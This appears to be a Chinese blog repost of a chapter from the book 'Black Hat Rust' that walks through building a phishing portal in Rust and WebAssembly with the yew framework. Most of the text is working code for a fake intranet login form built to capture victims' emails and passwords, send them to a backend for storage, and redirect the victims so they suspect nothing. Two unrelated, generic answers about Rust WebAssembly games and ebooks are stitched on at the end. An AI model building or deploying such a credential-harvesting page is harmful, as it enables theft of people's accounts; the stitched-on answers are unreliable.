使用 Rust 和 Webassembly 构建 Web 应用程序

无论是使用 React、VueJS、Angular 还是 Rust,现代 Web 应用程序都由 3 种部分组成:

  • 成分
  • 页面
  • 服务

客户端 Web 应用程序的体系结构

组件是可重用的部分和 UI 元素。例如,输入字段或按钮。

页面是组件的集合。它们匹配路由(URL)。例如,Login页面匹配/login路由。该Home页面与/路线匹配。

最后,服务是包装低级功能或外部服务(如 HTTP 客户端、存储…

我们应用程序的目标很简单:这是一个门户,受害者将在其中输入他们的凭据(认为这是一个合法的表单),凭据将保存在 SQLite 数据库中,然后我们将受害者重定向到错误页面让他们认为该服务暂时不可用,他们应该稍后再试。

这篇文章摘自我的书Black Hat Rust

安装工具链

wasm-pack帮助您构建 Rust 生成的 WebAssembly 包并在浏览器或 Node.js 中使用它。

$ cargo install -f wasm-pack

楷模

请注意,在后端使用与前端相同的语言的一大好处是能够重用模型:

ch_09/phishing/common/src/api.rs

pub mod model {
    use serde::{Deserialize, Serialize};

    #[derive(Debug, Clone, Serialize, Deserialize)]
    #[serde(rename_all = "snake_case")]
    pub struct Login {
        pub email: String,
        pub password: String,
    }

    #[derive(Debug, Clone, Serialize, Deserialize)]
    #[serde(rename_all = "snake_case")]
    pub struct LoginResponse {
        pub ok: bool,
    }
}

pub mod routes {
    pub const LOGIN: &str = "/api/login";
}

现在,如果我们进行更改,则无需在其他地方手动进行相同的更改。Adios 去同步模型问题。

成分

一开始,有组件。组件是可重用的功能或设计。

为了构建我们的组件,我们使用yew, crate ,在我写这篇文章的时候,它是最先进和受支持的 Rust 前端框架。

Properties(或Props)可以看作是一个组件的参数。例如,函数fn factorial(x: u64) -> u64有一个参数x。对于组件,它是同样的事情。如果我们想用特定数据渲染它们,我们使用Properties.

ch_09/phishing/webapp/src/components/error_alert.rs

use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};

pub struct ErrorAlert {
    props: Props,
}

#[derive(Properties, Clone)]
pub struct Props {
    #[prop_or_default]
    pub error: Option<crate::Error>,
}

impl Component for ErrorAlert {
type Message = ();
type Properties = Props;

fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
    ErrorAlert { props }
}

fn update(&mut self, _: Self::Message) -> ShouldRender {
    true
}

fn change(&mut self, props: Self::Properties) -> ShouldRender {
    self.props = props;
    true
}

fn view(&self) -> Html {
    if let Some(error) = &self.props.error {
        html! {
            <div class="alert alert-danger" role="alert">
                {error}
            </div>
        }
    } else {
        html! {}
    }
}

}


非常类似于(老式)React,不是吗?

另一个组件是`LoginForm`包装逻辑以捕获和保存凭据的组件。

**[ch\_09/phishing/webapp/src/components/login\_form.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/components/login_form.rs)**

pub struct LoginForm {
link: ComponentLink,
error: Option,
email: String,
password: String,
http_client: HttpClient,
api_response_callback: Callback<Result<model::LoginResponse, Error>>,
api_task: Option,
}

pub enum Msg {
Submit,
ApiResponse(Result<model::LoginResponse, Error>),
UpdateEmail(String),
UpdatePassword(String),
}

impl Component for LoginForm {
    type Message = Msg;
    type Properties = ();

    fn create(_: Self::Properties, link: ComponentLink<Self>) -> Self {
        Self {
            error: None,
            email: String::new(),
            password: String::new(),
            http_client: HttpClient::new(),
            api_response_callback: link.callback(Msg::ApiResponse),
            link,
            api_task: None,
        }
    }

fn update(&mut self, msg: Self::Message) -> ShouldRender {
    match msg {
        Msg::Submit => {
            self.error = None;
            // let credentials = format!("email: {}, password: {}", &self.email, &self.password);
            // console::log_1(&credentials.into());
            let credentials = model::Login {
                email: self.email.clone(),
                password: self.password.clone(),
            };
            self.api_task = Some(self.http_client.post::<model::Login, model::LoginResponse>(
                api::routes::LOGIN.to_string(),
                credentials,
                self.api_response_callback.clone(),
            ));
        }
        Msg::ApiResponse(Ok(_)) => {
            console::log_1(&"success".into());
            self.api_task = None;
            let window: Window = web_sys::window().expect("window not available");
            let location = window.location();
            let _ = location.set_href("https://academy.kerkour.com/black-hat-rust");
        }
        Msg::ApiResponse(Err(err)) => {
            self.error = Some(err);
            self.api_task = None;
        }
        Msg::UpdateEmail(email) => {
            self.email = email;
        }
        Msg::UpdatePassword(password) => {
            self.password = password;
        }
    }
    true
}

最后是`view`函数(类似于`render`其他框架)。

fn view(&self) -> Html {
    let onsubmit = self.link.callback(|ev: FocusEvent| {
        ev.prevent_default(); /* Prevent event propagation */
        Msg::Submit
    });
    let oninput_email = self
        .link
        .callback(|ev: InputData| Msg::UpdateEmail(ev.value));
    let oninput_password = self
        .link
        .callback(|ev: InputData| Msg::UpdatePassword(ev.value));

`ErrorAlert`您可以像任何其他 HTML 元素一样嵌入其他组件(此处):

    html! {
        <div>
            <components::ErrorAlert error=&self.error />
            <form onsubmit=onsubmit>
                <div class="mb-3">
                    <input
                        class="form-control form-control-lg"
                        type="email"
                        placeholder="Email"
                        value=self.email.clone()
                        oninput=oninput_email
                        id="email-input"
                    />
                </div>
                <div class="mb-3">
                    <input
                        class="form-control form-control-lg"
                        type="password"
                        placeholder="Password"
                        value=self.password.clone()
                        oninput=oninput_password
                    />
                </div>
                <button
                    class="btn btn-lg btn-primary pull-xs-right"
                    type="submit"
                    disabled=false>
                    { "Sign in" }
                </button>
            </form>
        </div>
    }
}

}


### 页面

页面是组件的集合,并且是 yew 中的组件本身。

**[ch\_09/phishing/webapp/src/pages/login.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/pages/login.rs)**

pub struct Login {}

impl Component for Login {
type Message = ();
type Properties = ();

// ...

fn view(&self) -> Html {
    html! {
        <div>
            <div class="container text-center mt-5">
                <div class="row justify-content-md-center mb-5">
                    <div class="col col-md-8">
                        <h1>{ "My Awesome intranet" }</h1>
                    </div>
                </div>
                <div class="row justify-content-md-center">
                    <div class="col col-md-8">
                        <LoginForm />
                    </div>
                </div>
            </div>
        </div>
    }
}

}


### 路由

然后我们声明应用程序的所有可能路由。

正如我们之前看到的,路由将 URL 映射到页面。

**[ch\_09/phishing/webapp/src/lib.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/lib.rs)**

#[derive(Switch, Debug, Clone)]
pub enum Route {
#[to = “*”]
Fallback,
#[to = “/error”]
Error,
#[to = “/”]
Login,
}


### 服务

#### 发出 HTTP 请求

发出 HTTP 请求有点困难,因为我们需要回调并反序列化响应。

**[ch\_09/phishing/webapp/src/services/http\_client.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/services/http_client.rs)**

#[derive(Default, Debug)]
pub struct HttpClient {}

impl HttpClient {
pub fn new() -> Self {
Self {}
}

pub fn post<B, T>(
    &mut self,
    url: String,
    body: B,
    callback: Callback<Result<T, Error>>,
) -> FetchTask
where
    for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
    B: Serialize,
{
    let handler = move |response: Response<Text>| {
        if let (meta, Ok(data)) = response.into_parts() {
            if meta.status.is_success() {
                let data: Result<T, _> = serde_json::from_str(&data);
                if let Ok(data) = data {
                    callback.emit(Ok(data))
                } else {
                    callback.emit(Err(Error::DeserializeError))
                }
            } else {
                match meta.status.as_u16() {
                    401 => callback.emit(Err(Error::Unauthorized)),
                    403 => callback.emit(Err(Error::Forbidden)),
                    404 => callback.emit(Err(Error::NotFound)),
                    500 => callback.emit(Err(Error::InternalServerError)),
                    _ => callback.emit(Err(Error::RequestError)),
                }
            }
        } else {
            callback.emit(Err(Error::RequestError))
        }
    };

    let body: Text = Json(&body).into();
    let builder = Request::builder()
        .method("POST")
        .uri(url.as_str())
        .header("Content-Type", "application/json");
    let request = builder.body(body).unwrap();

    FetchService::fetch(request, handler.into()).unwrap()
}

}


话虽如此,它的优点是非常健壮,因为所有可能的错误都得到了处理。不再有您永远不会知道的未捕获的运行时错误。

### 应用程序

然后是`App`组件,它包装了所有内容并呈现了路线。

**[ch\_09/phishing/webapp/src/lib.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/lib.rs)**

pub struct App {}

impl Component for App {
type Message = ();
type Properties = ();

// ...

fn view(&self) -> Html {
    let render = Router::render(|switch: Route| match switch {
        Route::Login | Route::Fallback => html! {<pages::Login/>},
        Route::Error => html! {<pages::Error/>},
    });

    html! {
        <Router<Route, ()> render=render/>
    }
}

}


最后,挂载和启动 webapp 的入口点:

#[wasm_bindgen(start)]
pub fn run_app() {
yew::App::::new().mount_to_body();
}


您可以通过运行以下命令来运行新构建的 Web 应用程序:

$ make webapp_debug
$ make serve

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Rust WebAssembly游戏电子书是一种使用Rust编程语言和WebAssembly技术来制作的电子书,主要面向游戏开发者和编程爱好者。这种电子书结合了Rust的高效性能和WebAssembly的跨平台特性,提供了一种新颖的方式来开发Web游戏。 Rust是一种现代的系统编程语言,它以安全性、并发性和速度而闻名。Rust编写的游戏可以利用其强大的类型系统和内存安全性来避免一些常见的编程错误,从而提高游戏的稳定性和可靠性。此外,Rust的高性能和优化能力使得游戏在各种平台上都能够快速运行,为玩家提供良好的游戏体验。 WebAssembly是一种可移植的二进制格式,可以在各种浏览器和操作系统上运行。通过将Rust代码编译成WebAssembly,游戏可以在Web环境中无缝运行,并且具有与原生应用程序相媲美的性能。由于WebAssembly的跨平台特性,游戏开发者可以轻松地将游戏部署到不同的平台上,无论是桌面、移动设备还是嵌入式系统。 Rust WebAssembly游戏电子书可以帮助游戏开发者快速入门和学习如何使用RustWebAssembly来制作游戏。它提供了详细的教程和示例代码,涵盖了从基本概念到高级技术的各个方面。通过学习这本电子书,开发者可以了解如何使用Rust的游戏开发框架和库,如何在WebAssembly中实现游戏逻辑和渲染,以及如何与Web平台进行交互。 总之,Rust WebAssembly游戏电子书是一个有助于开发者学习和掌握使用RustWebAssembly制作游戏的资源。它将Rust的性能和可靠性与WebAssembly的跨平台特性相结合,为游戏开发者提供了一种新的方式来构建高性能、可移植的游戏。 ### 回答2: Rust是一种高性能的系统级编程语言,具有内存安全和并发性。WebAssembly是一种在Web浏览器中运行高性能代码的技术。在RustWebAssembly的结合中,我们可以创建非常出色的游戏和电子书。 使用Rust编写WebAssembly游戏可以带来很多优势。首先,Rust的性能非常出色,能够提供流畅的游戏体验,即使在较低配置的设备上也能运行良好。其次,Rust的内存安全性能让我们可以避免常见的内存错误,如空指针引用和缓冲区溢出。这为游戏开发者提供了更强大的工具,使他们能够编写更可靠和稳定的代码。 对于电子书的开发,RustWebAssembly也是一个不错的选择。通过将电子书编译为WebAssembly,我们可以在Web浏览器中交互式地阅读和使用电子书。这为读者提供了更多的功能和交互性,如搜索、高亮、书签等。此外,Rust的内存安全性质使得电子书可以更可靠地加载和运行,避免了常见的安全漏洞和崩溃问题。 总而言之,通过使用RustWebAssembly,我们可以创造出高性能、可靠和交互式的游戏和电子书体验。无论是开发游戏还是电子书,RustWebAssembly是一个令人兴奋和具有潜力的组合,可以为用户带来更加出色的体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值